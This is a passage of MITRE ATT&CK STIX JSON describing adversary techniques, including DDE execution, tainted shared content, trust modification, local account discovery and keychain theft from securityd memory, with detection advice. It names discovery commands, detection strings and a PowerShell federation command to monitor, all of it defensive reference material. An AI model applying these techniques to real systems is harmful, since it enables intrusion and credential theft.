                    "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
                },
                {
                    "source_name": "SensePost MacroLess DDE Oct 2017",
                    "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
                    "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:15.927Z",
            "name": "Dynamic Data Exchange",
            "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\n\nOLE, Office Open XML, CSV, and other files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Module: Module Load",
                "Script: Script Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "created": "2020-03-11T14:49:36.954Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1204/002",
                    "external_id": "T1204.002"
                },
                {
                    "source_name": "Password Protected Word Docs",
                    "description": "Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022.",
                    "url": "https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:13.883Z",
            "name": "Malicious File",
            "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "TruKno"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f",
            "created": "2020-10-02T16:34:32.435Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1591/003",
                    "external_id": "T1591.003"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
                }
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            "modified": "2025-04-15T22:40:43.647Z",
            "name": "Identify Business Tempo",
            "description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
            "created": "2017-05-31T21:30:51.330Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
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                    "url": "https://attack.mitre.org/techniques/T1063",
                    "external_id": "T1063"
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            "modified": "2025-04-25T15:15:16.682Z",
            "name": "Security Software Discovery",
            "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "id": "attack-pattern--241f9ea8-f6ae-4f38-92f5-cef5b7e539dd",
            "created": "2024-08-28T14:14:18.512Z",
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                    "url": "https://attack.mitre.org/techniques/T1071/005",
                    "external_id": "T1071.005"
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                {
                    "source_name": "wailing crab sub/pub",
                    "description": "Hammond, Charlotte. Villadsen, Ole. Metrick, Kat.. (2023, November 21). Stealthy WailingCrab Malware misuses MQTT Messaging Protocol. Retrieved August 28, 2024.",
                    "url": "https://securityintelligence.com/x-force/wailingcrab-malware-misues-mqtt-messaging-protocol/"
                },
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"
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            "modified": "2025-04-15T19:58:14.152Z",
            "name": "Publish/Subscribe Protocols",
            "description": "Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as <code>MQTT</code>, <code>XMPP</code>, <code>AMQP</code>, and <code>STOMP</code> use a publish/subscribe design, with message distribution managed by a centralized broker.(Citation: wailing crab sub/pub)(Citation: Mandiant APT1 Appendix) Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics.(Citation: wailing crab sub/pub) An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.",
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                    "phase_name": "command-and-control"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26",
            "created": "2020-10-02T16:40:47.488Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1592/001",
                    "external_id": "T1592.001"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T22:39:29.396Z",
            "name": "Hardware",
            "description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
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                    "phase_name": "reconnaissance"
                }
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
            "created": "2017-05-31T21:31:01.759Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1080",
                    "external_id": "T1080"
                },
                {
                    "source_name": "Retwin Directory Share Pivot",
                    "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.",
                    "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"
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            "modified": "2025-04-15T19:58:14.334Z",
            "name": "Taint Shared Content",
            "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.",
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                    "phase_name": "lateral-movement"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Michal Dida, ESET",
                "David Routin"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "SaaS",
                "Linux",
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            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
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                "Process: Process Creation",
                "File: File Modification",
                "File: File Creation"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee",
            "created": "2020-12-28T21:59:02.181Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1484/002",
                    "external_id": "T1484.002"
                },
                {
                    "source_name": "AWS RE:Inforce Threat Detection 2024",
                    "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.",
                    "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
                },
                {
                    "source_name": "CISA SolarWinds Cloud Detection",
                    "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a"
                },
                {
                    "source_name": "AADInternals zure AD Federated Domain",
                    "description": "Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.",
                    "url": "https://o365blog.com/post/federation-vulnerability/"
                },
                {
                    "source_name": "Microsoft - Azure AD Federation",
                    "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed"
                },
                {
                    "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
                    "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.",
                    "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"
                },
                {
                    "source_name": "Microsoft - Update or Repair Federated domain",
                    "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.",
                    "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"
                },
                {
                    "source_name": "Okta Cross-Tenant Impersonation 2023",
                    "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.",
                    "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"
                },
                {
                    "source_name": "Sygnia Golden SAML",
                    "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
                    "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:14.422Z",
            "name": "Trust Modification",
            "description": "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024)",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: <code>Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\"</code>, or <code>Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain</code>.(Citation: Microsoft - Update or Repair Federated domain)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "2.2",
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "created": "2020-03-16T15:45:17.032Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1573/001",
                    "external_id": "T1573.001"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:14.636Z",
            "name": "Symmetric Cryptography",
            "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows",
                "macOS",
                "Network Devices",
                "ESXi"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "created": "2020-02-21T21:07:55.393Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1087/001",
                    "external_id": "T1087.001"
                },
                {
                    "source_name": "id man page",
                    "description": "MacKenzie, D. and Robbins, A. (n.d.). id(1) - Linux man page. Retrieved January 11, 2024.",
                    "url": "https://linux.die.net/man/1/id"
                },
                {
                    "source_name": "groups man page",
                    "description": "MacKenzie, D. and Youngman, J. (n.d.). groups(1) - Linux man page. Retrieved January 11, 2024.",
                    "url": "https://linux.die.net/man/1/groups"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
                    "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
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            "modified": "2025-04-15T19:58:14.718Z",
            "name": "Local Account",
            "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code> on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS, the <code>dscl . list /Users</code> command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Access"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1167",
                    "external_id": "T1167"
                },
                {
                    "source_name": "OS X Keychain",
                    "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.",
                    "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
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            "modified": "2025-04-25T15:15:17.371Z",
            "name": "Securityd Memory",
            "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d",
            "created": "2020-10-01T01:18:35.535Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1586/001",
                    "external_id": "T1586.001"
                },
                {
                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
                },
                {
                    "source_name": "NEWSCASTER2014",
                    "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
